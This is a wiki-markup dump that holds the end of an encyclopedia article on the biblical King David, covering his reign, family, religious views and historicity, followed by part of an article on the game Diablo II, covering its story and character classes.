The Israelite soldier who killed Saul - at the king's request - brings the news to David, who kills him for having laid hands on an anointed king, and then sings a song of lament for Saul and Jonathan. David then goes up to [[Hebron]] in [[Judah]], where he is anointed king of Judah, while in the north Saul's son [[Ish-bosheth]] is king over [[kingdom of Israel|Israel]]. &quot;There was a long war between the house of Saul and the house of David, and David grew stronger and stronger, while the house of Saul became weaker and weaker,&quot; until Ish-bosheth is assassinated. The assassins bring the head of Ish-bosheth to David hoping for reward, but he is angry that they have killed &quot;a righteous man,&quot; and executes them for their crime. Yet with the death of the son of Saul the elders of Israel come to Hebron, and David is anointed king of Israel, uniting the two kingdoms. He is now 30 years old.

=== God's promise to David ===
[[Image:Lucas Cranach d. Ä. 005.jpg|left|250px|David and Bathsheba, by [[Lucas Cranach]], 1526.]]David conquers the [[Jebusite]] fortress of [[Jerusalem]] and makes it his capital, and brings the [[Ark of the Covenant]] there, intending to build a temple. But God, speaking to the prophet [[Nathan]], forbids it, saying the temple must wait for a future generation, but that He will establish the house of David eternally: &quot;Your throne shall be established for ever.&quot; Then David establishes a mighty empire, conquering [[Zobah]] and [[Aram]] (modern Syria), [[Edom]] and [[Moab]] (roughly modern Jordan), the lands of the Philistines, and much more.

=== Bathsheba and Uriah the Hittite ===
David is infatuated with the beautiful [[Bathsheba]], wife of [[Uriah the Hittite]], and commits, what appears to have been, adultery with her. Bathsheba conceives, and David sends Uriah to the wars, with orders to the commanders that they should abandon him in the midst of the enemy. And so it is done, and David marries Bathsheba and has a son by her. But the prophet Nathan speaks out against the sin, and although David repents, God kills the child as a punishment. ([[Psalm 51]] is traditionally taken as David's response). David then leaves his lamentations, dresses himself, and eats. His servants ask why he lamented when the baby was alive, but leaves off when he is dead, and David replies: &quot;While the child was still alive, I fasted and wept; for I said, `Who knows whether the Lord will be gracious to me, that the child may live?' But now he is dead, why should I fast? Can I bring him back again? I shall go to him, but he will not return to me.&quot;

=== Absalom ===
David's beloved son [[Absalom]] rebels against his father. The armies of Absalom and David come to battle, and Absalom is caught in the branches of oak. David's general [[Joab]] kills him as he hangs there. When the news of the victory is brought to David he does not rejoice, but is instead shaken with grief: &quot;&quot;O my son Absalom, my son, my son Absalom! Would I had died instead of you, O Absalom, my son, my son!&quot;

=== The Psalms ===

David is described as the author of the [[Psalms]] - one of the most famous is [[Psalm 51]], traditionally said to have been composed by David after Nathan upbraided him for his adultery with Bathsheba: &quot;To the choirmaster. A Psalm of David, when Nathan the prophet came to him, after he had gone in to Bathsheba.&quot; Perhaps the best-known is Psalm 23:
::&quot;The Lord is my shepherd, I shall not want. He maketh me to lie down in green pastures, He leadeth me beside the still waters. He restoreth my soul. He leadeth me in the path of righteousness for his name's sake. Yea, though I walk through the valley of the shadow of death, I will fear no evil: for thou art with me; thy rod and thy staff they comfort me. Thou preparest a table before me in the presence of mine enemies: thou anointest my head with oil; my cup runneth over. Surely goodness and mercy shall follow me all the days of my life: and I will dwell in the house of the Lord for ever.&quot;

=== The reign of David ===
&quot;Thus David the son of Jesse reigned over all Israel. The time that he reigned over Israel was forty years; he reigned seven years in Hebron, and thirty-three years in Jerusalem. Then he died in a good old age, full of days, riches, and honor; and [[Solomon]] his son reigned in his stead.&quot;

==David's family==
[[Image:Gustave dore bibel death of absalom.jpg|thumb|right|300px|The Death of Absalom (engraving from the [[Doré]] Bible).]]
David's father was '''[[Jesse]]''' ('''ישי''' &quot;Gift&quot;, [[Standard Hebrew]] '''Yíšay''', [[Tiberian Hebrew]] '''Yíšay''' / '''Yēšay'''), the son of [[Obed]], son of [[Boaz]] of the tribe of [[Tribe of Judah|Judah]] and [[Ruth]] the [[Moab]]ite, whose story is told at length in the [[Book of Ruth]]. David's lineage is fully documented in Ruth 4:18-22. (The &quot;[[Pharez]]&quot; that heads the line is Judah's son, [[Genesis]] 38:29).

David had eight wives, although he appears to have had children from other women as well:
* [[Michal]], the second daughter of [[King Saul]]
* [[Ahinoam]] of Jezreel
* [[Abigail]], previously wife of the evil [[Nabal]]
* [[Maachah]]
* [[Haggith]]
* [[Avital]]
* [[Eglah]]
* [[Bathsheba]], previously the wife of Uriah the Hittite
In his old age he took the beautiful [[Abisag]] into his bed, leaving her still a virgin on his death (Book of Kings, 1,1-4). 

As given in [[Books of Chronicles|1 Chronicles]], chapter 3, ([[King James Version of the Bible|KJV]]), David had sons by various wives and [[concubine]]s; their names are not given in ''Chronicles''. By Bathsheba, his sons were:
* [[Shimea]]
* [[Shobab]]
* [[Nathan (son of David)|Nathan]]
* [[Solomon]]

His sons by other mothers included:
* [[Ibhar]]
* [[Elishama]]
* [[Eliphelet]]
* [[Nogah]]
* [[Nepheg]]
* [[Japhia]]
* Elishama (again)
* [[Eliada]]
* Eliphelet (again)

David also had at least one daughter, [[Tamar (biblical figure)|Tamar]], the full sister of Absalom.

== David as a religious figure ==
=== David in Judaism ===
In [[Judaism]], David's reign represents the formation of a coherent Jewish kingdom with its political and religious capital in [[Jerusalem]] and the institution of a royal lineage that culminates in the [[Messianic Age]]. David's descent from a convert ([[Ruth]]) is taken as proof of the importance of converts within Judaism. That he was not allowed to build a permanent temple is taken as proof of the imperative of peace in affairs of state.

David is also viewed as a tragic figure; his inexcusable acquisition of Bathsheba, and the loss of his son are viewed as central tragedies in Judaism.

=== David in Christianity ===
In [[Christianity]], David is important as the ancestor of the [[Messiah]]. Several [[Old Testament prophecies]] state that the Messiah will come from David's line; the Gospels of [[Gospel of Matthew|Matthew]] and [[Gospel of Luke|Luke]] trace [[Jesus]]' lineage to David to fulfill this requirement.

David is also figurative of [[Christ]], the slaying of Goliath being compared to the way [[Jesus]] defeated [[Satan]] when Jesus died on the cross.  More often, David is figurative of a Christian believer.  The [[Psalms]] show a Christian how to depend upon God during times of adversity, how to praise, how to repent.

The Catholic Church celebrates his feast day on [[December 29]].

=== David (Da'ud) in Islam ===
David ('''داؤد''', '''Dā'ūd'''), is one of the [[prophets of Islam]], to whom the [[Zabur]] ([[Psalms]]) were revealed by [[Allah]]. As in Judaism, he is said to have killed Goliath ([[Jalut]]). Allah says in Surah Baqarah Chapter 2 ayah 251: &quot; And Da'ud slew Jalut, and Allah gave him kingdom and wisdom, and taught him of what He pleased.&quot; [[Muslim]]s reject the Biblical portrayal of David as an adulterer and murderer. This is based on the Islamic belief in the righteousness of prophets (&quot;[[Nabi]]&quot;).

In Surah Maida, chapter 5, ayah 78, Allah says:&quot;Those who disbelieved from among the children of Israel were cursed by the tongue of Da'ud and Isa, son of Mariam; this was because they disobeyed and used to exceed the limit.&quot;

In Surah Anbiya, chapter 21, ayahs 78-80, Allah says: &quot;And Da'ud and Sulaiman when they gave judgment concerning the field when the people's sheep pastured therein by night, and We were bearers of witness to their judgment. So We made Sulaiman to understand it; and to each one We gave wisdom and knowledge; and We made the mountains, and the birds to celebrate Our praise with Da'ud; and We were the doers. And We taught him the making of coats of mail for you, that they might protect you in your wars; will you then be grateful? &quot;

Ibn Jarir recorded that Ibn Mas`ud said: &quot;Grapes which had grown and their bunches were spoiled by the sheep. Da'ud ruled that the owner of the grapes should keep the sheep. Sulayman (Solomon) said, &quot;Not like this, O Prophet of Allah!&quot; Da'ud said, &quot;How then?&quot; Sulayman said: &quot;Give the grapes to the owner of the sheep and let him tend them until they grow back as they were, and give the sheep to the owner of the grapes and let him benefit from them until the grapes have grown back as they were. Then the grapes should be given back to their owner, and the sheep should be given back to their owner.&quot;

When he recited the Zabur in a beautiful manner, the birds would stop and hover in the air, and would repeat after him, and the mountains would respond and echo his words. The Prophet passed by Abu Musa Al-Ash`ari while he was reciting Qur'an at night, and he had a very beautiful voice, he stopped and listened to his recitation, and said: &quot;This man has been given one of the wind instruments (nice voices) of the family of Da'ud.&quot; He said: &quot;O Messenger of Allah, if I had known that you were listening, I would have done my best for you.&quot;

In Surah Saba, chapter 34, ayahs 10-11, Allah says: &quot;And certainly We gave to Da'ud excellence from Us: O mountains! sing praises with him, and the birds; and We made the iron pliant to him, Saying: Make ample (coats of mail), and assign a time to the making of coats of mail and do good; surely I am seeing what you do.&quot;

In Surah Sa'd, chapter 38 ayahs 17-26, Allah says: &quot;And remember Our servant Da'ud, the possessor of power; surely he was frequent in returning (to Allah). Surely We made the mountains to sing the glory (of Allah) in unison with him at the evening and the sunrise, And We strengthened his kingdom and We gave him wisdom and a clear judgment. And has there come to you the story of the litigants, when they made an entry into the private chamber by ascending over the walls? When they entered in upon Da'ud and he was frightened at them, they said: Fear not; two litigants, of whom one has acted wrongfully towards the other, therefore decide between us with justice, and do not act unjustly, and guide us to the right way. Surely this is my brother; he has ninety-nine ewes and I have a single ewe; but he said: Make it over to me, and he has prevailed against me in discourse. He said: Surely he has been unjust to you in demanding your ewe (to add) to his own ewes; and most surely most of the partners act wrongfully towards one another, save those who believe and do good, and very few are they; and Da'ud was sure that We had tried him, so he sought the protection of his Lord and he fell down bowing and turned time after time (to Him). Therefore We rectified for him this, and most surely he had a nearness to Us and an excellent resort. o Dawood ! surely We have made you a ruler in the land; so judge between men with justice and do not follow desire, lest it should lead you astray from the path of Allah; (as for) those who go astray from the path of Allah, they shall surely have a severe punishment because they forgot the day of reckoning.&quot;

==Historicity of David==
''See [[The Bible and history]] and [[dating the Bible]] for a more complete description of the general issues surrounding the Bible as a historical source.''

The [[Hebrew Bible]] ([[Old Testament]]) itself is a library of many ancient sources, and for that reason its books cannot be ''automatically'' discounted as historical sources without investigation into the particulars of the history being researched.  In general, to conduct historical investigation of persons and events mentioned in the Hebrew Bible, one should first examine all relevant data.  The first task, then, is to gather all relevant biblical texts along with the contents of whatever Egyptian, Assyrian, and Babylonian inscriptions have some bearing on the subject, as well as inscriptions of the Hebrews and their nearer neighbors, such as the Phoenicians, Arameans, Moabites, and Ammonites. These and other ancient inscriptions certainly seem to have several points of agreement with biblical data, while disagreeing with the Bible on other points.  Coming from the other direction, biblical data can also be used at certain points to support or critique extrabiblical inscriptions.  

To begin at the oldest extant biblical texts, among the [[Dead Sea Scrolls]], the oldest scroll of a biblical book is that of Samuel (that is, 1 and 2 Samuel), which contains the biblical account of almost all of David's career.  This scroll dates to about 225 BC, and in turn, it is generally acknowledged to be a copy of an earlier scroll, but it is impossible to tell how far back the &quot;lineage&quot; of these scrolls extends.  The Hebrew Bible places David's reign from around 1010 until around 970 BC and the end of the reign of the last king of the Davidic dynasty at 587/586 BC; building on this basis, the first sentence of the New Testament asserts that Jesus is &quot;the son of David&quot; (Matthew 1:1).  Thus the early sources are much closer to the purported events of David's lifetime than the present day, and yet they are still, as far as we can tell, centuries removed from that time.  Some scholars of the twentieth and twenty-first century find oral tradition to be a means of conveying information that might have spanned the possible-to-likely gap between the purported events and the writings that assert them.  

Turning to sources outside of the Bible, in the case of David, the [[Merneptah Stele]] dates to well before the period that the Bible assigns to the reign of David, and the records of the neo-Assyrian empire cover events well after the biblical reign of David, because the Assyrian conquerors did not arrive in Hebrew territory until then (see [[Assyria]]).  

The famous [[Tel Dan Stele]] provides the only ''clear'' non-Biblical evidence of King David's existence and status as the founder of a Hebrew dynasty. Dated to the period from the mid-9th to mid-8th centuries BC and erected by a Aramean king (probably the king of Damascus) to record a victory over Israel, the text says ''inter alia'': &quot;I killed [Achaz]yahu son of [Joram kin]g of the House of David.&quot; (The words and letters within square brackets have been supplied using biblical content.)  While the reading has been questioned, it is accepted by a majority of scholars as confirming the existence in the 9th/8th centuries BC of a line of kings claiming descent from a dynasty founder named David. 

A second stele, the Moabite Stone or [[Mesha Stele]], erected by a king of Moab in about 850 BC, has also been read as containing the phrase &quot;house of David.&quot;  Because the phrase that is read &quot;house of [D]avid&quot; appears in a place where the stone is partly broken (the square brackets around the first D indicate that the letter is supplied) and for other reasons, this claim is accepted by some scholars but is ignored or rejected by others. In 2005, an Israeli archaeologist working in the most ancient portion of Jerusalem, called the City of David, in [[East Jerusalem]] uncovered an [[alleged King David's Palace site]], but there is no reliable archaeological assessment currently available.

A third possible mention of King David is found in a standing monumental Egyptian inscription of Pharaoh Shoshenq I that is dated to 924 BC—only about forty-five years after David's death as calculated according to the books of Kings and Chronicles.  David's name appears to be included within a place-name that appears among other place-names located in the territory ''later'' said to belong to the northern kingdom of Israel and the southern kingdom of Judah.  This particular place-name is ''Hadabiyat-Dawit'', translated by Kenneth Kitchen as &quot;highland of David&quot; or &quot;heights of David,&quot; and it is located in the Negev region, where the Bible says that David hid as a fugitive from Saul for lengthy periods of time.  On this inscription, see Egyptologist K. A. Kitchen's article, &quot;A Possible Mention of David in the Late Tenth Century B.C.E., and Deity *Dod as Dead as the Dodo?&quot; ''Journal for the Study of the Old Testament'' 76 (1997): 29–44, especially 39–41. 

Although at least one small portion of the Hebrew Bible has been discovered in a dig (a version of the benediction in Numbers 6:24–26 on a silver amulet recovered from a grave at Ketef-Hinnom, near Jerusalem), it must be observed that each book of the Bible, having been handed down for generations by recopying, rather than having been excavated, is an example of a received text, a ''textus receptus''.  (So are the works of Homer, ca. 800 BC, the [[Iliad]] and the [[Odyssey]], and the works of [[Plato]], ca. 400 BC.)  For this reason, the Biblical texts themselves need to be treated cautiously.  They contain, for example, two different accounts that both seem to describe David's first meeting with Saul.  In the first of these, Saul sends for David as one known for his skill on the lyre and makes him his armour-bearer, while in the second Saul first meets David when he defeats Goliath. Observations such as this serve to underline the likelihood that the narrative is drawn from numerous originally independent sources. 

More fundamentally, the texts as they currently exist have been subject to revision and redaction over many centuries, notably during the reign of king [[Josiah]] of Judah at the end of the 7th century BC. Many scholars think that Josiah (or rather the priests of the temple in Jerusalem) put forward the picture of David and Solomon as rulers over a united and far-flung early Hebrew kingdom in order to provide a rationale for his own plans for the conquest of the former kingdom of Israel, which had been abandoned by the Assyrians as that empire collapsed.  Other scholars—and archaeologists, most notably William G. Dever—point to the similar architecture of the massive, fortified gates of several cities built in what would have been the home territory of David's and Solomon's united kingdom of Israel as evidence that they were built by a powerful Hebrew king during the period that the Bible assigns to the reign of Solomon (compare 1 Kings 9:15-16).  According to the Bible, David's realm for his first seven years as king was the territory of two Hebrew tribes in what later became the southern kingdom of Judah; after that, his realm came to include the territory of the ten Hebrew tribes in what later became the northern kingdom of Israel, and he transferred kingship over this united kingdom to Solomon.  Dever describes the architecture of the cities' gates and other evidences as &quot;convergences&quot; consistent with the biblical portrayal, rather than as direct proofs of the historical accuracy of the Hebrew Bible (Old Testament).

==Representation in art and literature==
===Art===
Famous sculptures of David include (in chronological order) those by:
* [[Donatello]] (ca. [[1430]] - [[1440]]) (see [[Donatello's David]]) 
* [[Andrea del Verrocchio]] ([[1476]])
* [[Michelangelo Buonarroti]] ([[1504]]) (see [[Michelangelo's David]]) 
* [[Gian Lorenzo Bernini]] ([[1624]]) (see [[David (Bernini)|Bernini's David]])
* [[Antonin Mercié]] ([[1873]])

===Literature===
[[Elmer Davis]]'s [[1928]] novel ''Giant Killer'' retells and embellishes the Biblical story of David, casting David as primarily a poet who managed always to find others to do the &quot;dirty work&quot; of heroism and kingship.  In the novel, [[Elhanan]] in fact killed Goliath but David claimed the credit; and [[Joab]], David's cousin and general, took it upon himself to make many of the difficult decisions of war and statecraft when David vacillated or wrote poetry instead.

In [[Thomas Burnett Swann]]'s Biblical [[fantasy]] [[novel]] ''How are the Mighty Fallen'' ([[1974]]) [[David and Jonathan]] are explicitly stated to be lovers. Moreover, Jonathan is a member of a winged semi-human race (possibly [[nephilim]]), one of several such races co-existing with humanity but often persecuted by it.

[[Joseph Heller]], the author of ''[[Catch-22]]'', also wrote a novel based on David, ''[[God Knows]]''. Told from the perspective of an ageing David, the humanity &amp;mdash; rather than the heroism &amp;mdash; of various biblical characters are emphasised. The portrayal of David as a man of flaws such as greed, lust, selfishness, and his alienation from God, the falling apart of his family is a distinctly 20th century interpretation of the events told in the Bible.

===Film===
[[Gregory Peck]], played King David in the [[1951]] film ''[[David and Bathsheba]]'', directed by [[Henry King (director)|Henry King]]. [[Susan Hayward]] played Bathsheba and [[Raymond Massey]] played the prophet Nathan.

[[Richard Gere]] portrayed King David in the [[1985]]  film ''[[King David (movie)|King David]]'' directed by [[Bruce Beresford]].

==See also==
{{commonscat|David}}
*[[Tel Dan Stele]]
*[[Hebrew Bible]]

==References==
*Kirsch, Jonathan (2000) &quot;King David: the real life of the man who ruled Israel&quot;. Ballantine.  ISBN 0-345-43275-4.
*See also the entry for '''David''' in [http://bible.crosswalk.com/Dictionaries/EastonBibleDictionary/ Easton's Bible Dictionary].

==External link== 
*[http://www.complete-bible-genealogy.com/names/david_593.htm Complete Bible Genealogy] David's family tree

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br /&gt;'''[[Ish-bosheth]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Kingdom of Israel]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Succeeded by:&lt;br /&gt;'''[[King Solomon|Solomon]]'''
|}

[[Category:Kings of ancient Israel]]
[[Category:History of Jerusalem]]
[[Category:Shepherds]]
[[Category:Nine Worthies]]

[[de:David (Israel)]]
[[es:David]]
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[[fr:David (Bible)]]
[[ko:다윗 왕]]
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[[ru:Давид (царь)]]
[[sv:David]]
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[[tr:Davud]]
[[zh:大衛]]
[[yi:דוד המלך]]</text>
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{{Infobox CVG| title = Diablo II
|image = [[Image:Bliz_diablo2_lg.jpg|130px|center|The Diablo II box, still available in stores.]]
|developer = [[Blizzard North]]
|publisher = [[Blizzard Entertainment]]
|designer =
|engine = 
|released = [[June 29]], [[2000]]
|genre = [[Action game|Action]]-[[Computer role-playing game|RPG]]
|modes = [[Single player|Single-player]], [[multiplayer|Multi-player]]
|ratings = [[Entertainment Software Rating Board|ESRB]]: M (Mature, 17+)
|platforms = [[Microsoft Windows|Windows]] [[Image:Win3.1MSFlag.png|18px|Platform: Windows]]&lt;br /&gt;[[Mac OS]] [[Image:Macos-original-logo.gif|20px|Platform: Mac OS]]&lt;br /&gt;[[Mac OS X]] [[Image:MacOSX.png|16px|Platform: Mac OS X]]&lt;br /&gt;                                        
|media = 3 CD-ROMs (Play, Install, and Cinematics disc)
|requirements = '''PowerPC''': G3 or better, '''MacOS''': 8.1 or later&lt;br/&gt;64MB physical RAM, 128MB virtual, 650MB drive space, optional 8MB video card for 3D acceleration and effects. [[3dfx]] video card for full effects. Supports RAVE, OpenGL, and Glide&lt;br/&gt;'''Windows''': 233MHz Pentium or better, 32MB RAM, 650MB drive space, DirectX-compatible video card.
|input = Keyboard and Mouse
}}
'''''Diablo II''''', sequel to the popular ''[[Diablo (computer game)|Diablo]]'', is an action-oriented [[adventure game|adventure]] with [[computer role-playing game|role-playing game]] elements in a [[hack and slash]] or &quot;Dungeon Roaming&quot; style.  It was released for both [[Microsoft Windows]] and [[Mac OS]] in [[2000]] by [[Blizzard Entertainment]]. ''Diablo II'' was developed by [[Blizzard North]].

By [[2001]], ''Diablo II'' had become one of the most popular online games ever. Major factors that contributed to ''Diablo II'''s success include what fans found to be addictive [[hack and slash]] gameplay and free access to [[Battle.net]]. ''Diablo II'' may be played as a single player game, multi-player via a [[local area network|LAN]] or serverless [[Internet protocol suite|TCP/IP]], or multi-player via Battle.net, with the latter being the most popular. It has also become the 9th [[List of best selling computer and video games|best selling computer game]] and number one best selling RPG for the PC, selling around four million copies.

An expansion to Diablo II, ''[[Diablo II: Lord of Destruction]]'', was released in 2001, and is now at version 1.11b.

==Overview==
[[Image:DiabloIILogo.jpg|thumb|500|right|Diablo II logo]]
''Diablo II'' is an action-RPG released in July [[2000]] by ''Blizzard Entertainment''. Players pick one of five heroes (seven with the Lord of Destruction expansion pack) and fight monsters to level up their character and gain better items. The differences between ''Diablo II'' and a regular RPG is the greater emphasis on combat in ''Diablo II'' and the large amount of randomness in monster properties, level layouts and item drops. The game uses an isometric oblique top-down viewpoint.

''Diablo II'' was a runaway success for ''Blizzard'', and still is. While fairly old for today's standards, the game continues to be one of the world's most played online games.

Classic ''Diablo II'' allows the player to choose between five different characters; Necromancer, Amazon, Barbarian, Sorceress and Paladin. Each character has different strengths and weaknesses and sets of skills to choose from.

The ''Diablo II'' expansion pack, ''[[Diablo II: Lord of Destruction|Lord of Destruction]]'', adds two new classes: the Druid and Assassin.
			
The ''Diablo II'' storyline is played through four acts, five with ''Lord of Destruction''. Each act follows a predetermined path with preselected quests, although most of the maps themselves are randomly generated, in single player mode, the map is randomly generated but sticks to the setting thereafter, in multiplayer mode, it resets each time you restart. Each act culminates with the destruction of a boss type monster.
			
In addition to the four/five acts there are also three difficulty levels: Normal, Nightmare and Hell. On the second and third, monsters deal more damage and are harder to defeat. For example, in the Hell level of difficulty, every monster encountered is immune to one or more elements, and therefore unaffected by a certain type of damage such as cold, fire, lightning, poison, physical or magical damage. Completion of the game on one difficulty level allows progression to the next.

As an added dimension, Diablo II allows players to engage in competitive player vs. player (PvP) combat, rewarding victors with piles of gold and the severed ear of their enemy.  PvP play outside the framework of duels (i.e. random assaults of other players) led to a community of certain PvPers finding ways to interfere with other high-level parties, or repetitively wipe out low-level players. These players are often called Pkers (Player Killers) by the Battle.Net community.

As the game can be played cooperatively (Players vs. Monsters, PvM), groups of players with specific sets of complementary skills can finish some of the game's climactic battles in a matter of seconds, providing strong incentives for party-oriented character builds.

== Story ==
[[Image:Tyrael.png|thumb|300px|[[Tyrael]], an [[archangel]] seen in the Pandemonium Fortress]]
{{spoiler}}
The story of ''Diablo II'' takes place soon after the end of the original ''Diablo''.  At the end of ''Diablo'', Diablo, the Lord of Terror, was defeated.  The hero then takes Diablo's soulstone (a device that is used to bind the soul of any [[demon]] or [[angel]]) and puts it into his own body, hoping to contain his soul for all eternity. However, the hero is rapidly corrupted by Diablo and quickly begins to lose control.  Before long, Diablo is more in control than the hero. In the opening scene of ''Diablo II'', Marius, the narrator of the story, witnesses the hero (known as the Dark Wanderer) totally lose control, unleashing the demons of hell upon a tavern.  He is compelled to follow the Wanderer for reasons he himself does not understand.  The player plays a character in the wake of the destruction, following the Dark Wanderer, hoping to halt him.  The rest of the story is revealed through the four acts, as the player eventually confronts Diablo and his brother [[Mephisto (Diablo)|Mephisto]]. The third brother, [[Baal (Diablo)|Baal]], is encountered in Act 5, which is added by the ''Diablo II: Lord of Destruction'' expansion pack.

Diablo II was first recognized by the majority of the public when it was awarded a spot in the [[Guinness Book of World Records]] &quot;[[2000]] edition&quot;.

==Character Classes==
===Amazon===
[[Image:Art-amazon.jpg|thumb|Amazon]]
The [[Amazons|Amazon]] is an &quot;active skill&quot;-oriented fighter.  While the [[Barbarian]] relies on brute strength and weapon skills, and the [[Paladin]] on auras and other special abilities, many of the Amazon's abilities require far more attention.  Her skills are oriented around personal (generally passive) protective abilities, the use of a bow and arrow (whose abilities are linked with the elements of fire and ice), as well as the spear and javelin (whose abilities are linked with the elements of lightning and poison).

The Amazon is most similar to the [[Rogue]] of ''Diablo'':  both are primarily associated with bows and crossbows, and both are middle points between pure strength and pure magic.  The Amazon is different in that she can also use javelins and spears adeptly.

The Amazon can use skills from the [[Javelin]] &amp; [[Spear]], Passive &amp; [[Magic (gaming)|Magic]], and [[Bow (weapon)|Bow]] &amp; [[Crossbow]] skill trees.

Amazon is one of the more popular classes in Diablo II. The most popular weapons for this character are: Windforce (a legendary, ultra-elite, ultra-rare item once considered to be the most expensive item in the game, Lord Of Destruction only), Buriza-Do Kyanon Ballista (A crossbow; though an elite item, it is very easy to find or obtain with some trading) and Titan's Revenge (main weapon for amazons, this is because an amazon skill allows it to deal massive damage).

Amazons became popular in the earlier days due to a exploit in the game. A passive skill in her skill tree allows her a percentage chance to fire arrows straight through their targets (higher the skill, higher the percentage; tops near 35 percent). When coupled with another skill that automatically seeks out the enemy (guided arrow), it became very deadly.  When the arrow penetrates the enemy, it does not disappear but instead goes through its body. Under normal circumstances the arrow will continue forward in its path, but because of the auto-seeking nature of this skill, it targets the nearest enemy - which is the one it has just penetrated. So, it turns around 180 degrees and goes through the same enemy again and does this many times, effectively tripling or quadrupling one shot. Extremely useful in [[PvP]] but often despised when used.

Amazons have fairly effective crowd control skills, mostly stemming from the &quot;Multiple Shot&quot; skill, which splits a single arrow or bolt show into multiple, all heading in the same direction. 

One of the more popular amazon builds is the bowazon/javazon in the expansion which allows the characters to equip 2 sets of weapons. These builds generally concentrate on passive skills trees that improve preparation and defence. In the other 2 skill trees, points are spent on the most popular/effect skills such as lightning strike, multiple shot, etc., bypassing all other skills by donating 1 skill point to each prerequisite.

===Barbarian===
[[Image:Art-barbarian.jpg|thumb|Barbarian]]
The [[Barbarian]] is by far the most powerful melee fighting character on a pound-per-pound basis and the only one in the original ''Diablo II'' (not ''Lord Of Destruction''), who is able to [[dual-wield]] weapons.  His skills are divided into various weapon masteries, warcries, and combat skills.  The masteries are purely passive and allow the Barbarian to specialize in different types of melee weapons and to gain natural speed and resistances.  His warcries are essentially radial skills (''skills which are only effective within a certain radius of the player'') that enhance his and his party's ability in combat, or reduce the ability of the enemy. Warcries differ from the auras of the paladin in that they are single-use and impermanent. The barbarian's combat skills are attacks that maximize brute force, his greatest asset.

The Barbarian can cast spells from the [[Warcry|Warcries]], [[Combat]] Masteries, and Combat Skills skill trees.

====Barbarian history in Classic DII====
This character was the damage powerhouse in the early history of ''Diablo II''. The ''Whirlwind'' skill, a mad spinning charge, was highly overpowered in the first release of the game, and was reduced in damage in patch 1.03, made dependent on weapon speed in the expansion and it is still one of the best melee skills in the game. With damage to spare, very high natural life and the life and mana-increasing ''Battle Orders'' spell, a well-built barbarian in 1.00 to 1.06 was almost indestructible and was the main &quot;power-leveling&quot; character.

====Barbarian Strategy====
Barbarian strategy typically follows only one guideline with small variations. Most Barbarians make use of the skills ''Iron Skin'', ''Battle Orders'', ''Whirlwind'', and Combat Masteries. ''Whirlwind'' has many uses: It allows the player to spin through a crowd of enemies, damaging each greatly, or it can carve a path out of a crowd if the character is surrounded. ''Whirlwind'' requires skill to control, and one can take down hard bosses by making circles around the perimeter of the boss so all his hits land on the boss. One also must be careful not to spin into a crowd of monsters, as once a spin is started it can't be stopped. The Achilles' Heel of this strategy is that some monsters (and Necromancer and Paladin player characters) can cast a curse that returns damage back to the barbarian equals to several times the amount he deals, most certainly killing him if he spins into a large crowd and delivers massive amounts.  Major changes in the 1.10 patch have made certain low level skills augment higher level skills and vice versa.  Thus, a popular build involves a maximum contribution to battle orders and concentration. With the 1.11 patch, a ''Frenzy''-based barbarian became very popular after an in-game clan showed with several successful Uber-Tristram runs that the build is second only to the ''Smiter'' (paladin).

===Paladin===
[[Image:Art-paladin.jpg|thumb|Paladin]]
The [[Paladin]] is a warrior fighting for all that is good. To reflect this, the Paladin has combat skills ranging from fanatical attacks to anti-undead spells. His specialty, however, lies in ''auras'' that [[Buff (computer gaming)|buff]] himself and his party. These passive auras, which can enhance personal abilities, lower the amount of damage dealt by enemies or recover health and can add considerable complexity to the class because only one aura can be active at a time. The Paladin also has access to great strength and health and, because the auras do not generally require mana to activate, is not heavily restricted by heavy mana consumption. 

The Paladin is the only character able to use his shield as a weapon in a smite attack. The more powerful the shield, the more damage he can deal with it (also, paladins typically have the best &quot;blocking&quot; rate).

The Paladin can cast spells From the Defensive [[Aura]]s, [[Combat]] Skills, and Offensive Auras skill trees.

====Paladin history &amp; Strategy in Classic DII====
The paladin was usually seen as one of the weaker characters, with too much emphasis on boosting his allies and too little damage to fend for himself. The class has a staggering number of useless auras, and the anti-undead idea did not work in practice due to the lack of actual undead in the harder areas.

When the game was released, the ''Conversion + Thorns'' skill combo was extremely effective. ''Conversion'' is a normal melee attack that has a chance to convert the target to fight for you, and ''Thorns'' is an aura that causes anyone who attacks a party member to take a large amount of damage in return. This build cleared the hardest levels with ease, so it came as no surprise that it was weakened in patch 1.03. Unfortunately, nothing else in his skill trees was quite as good, and the class slipped into obscurity.
   
Another powerful strategy is &quot;Vengeance&quot;, which adds fire, lightning and cold damage to your attacks , and the aura, &quot;Conviction&quot;, which reduces your enemies elemental resistances and defence. Thus when used, you can do massive elemental damage to your opponent with just one hit.

Then ''Blessed Hammer'' was discovered to be useful. Originally a weak and hard to aim magical attack, until it was discovered that the Concentration aura affected ''Blessed Hammer'' as well. This resulted in the infamous ''hammerdin'', an odd caster build capable of killing any normal monster in the game in a few hits. If the skill is maxed, each hammer can deal over 10,000 damage (17,000 in 1.11), with enough skill bonuses from items.

Thanks to the &quot;synergy&quot; boosts added to skills (including Blessed Hammer) in patch 1.10, the Hammerdin is still widely considered the strongest all-around character type in the game today, able to do up to 8,000 damage once all the synergies are maxed with concentration and great items.

Before patch 1.10, a technique known as &quot;flashing&quot; was common.  Because the effect of an aura on allies (and enemies) is slightly delayed and because it persists for a few seconds even if switched immediately, a paladin could switch on an enemy-affecting aura, wait for it to &quot;stick&quot; onto the enemies, and then quickly &quot;flash&quot; to a personal aura.  The result would be two simultaneous auras, one augmenting the paladin's abilities and one weakening an enemy's.  After 1.10, however, this strategy is no longer viable: auras now either change instantly or with unreliable speed.

===Sorceress===
[[Image:Art-sorceress.jpg|thumb|Sorceress]]
The [[Sorceress]] focuses on ranged elemental spells in three areas: cold, lightning, and fire.  Her cold-based spells have the benefit of chilling affected enemies (slowing them down) or freezing them (stopping them completely).  Moreover, any chilled or frozen enemies may shatter instead of leaving a corpse. (A corpse can be used by some enemies as an attack or can be revived by other enemies to fight again.)  The main lightning spells have huge damage ranges, doing anywhere from 1 to 25,000 or even 1 to 50,000 damage. Fire spells usually have a more consistent damage range, with the most popular skill Fireball doing about 20,000 damage or more.

The strong points of Sorceress are powerful damaging spells and mobility (teleporting quickly), which is valuable in multiplayer games. The weak points are strength and defense. One large benefit is the fact that the sorceress's cold spells make it easier for everyone to stay alive, by immobilizing their foes.
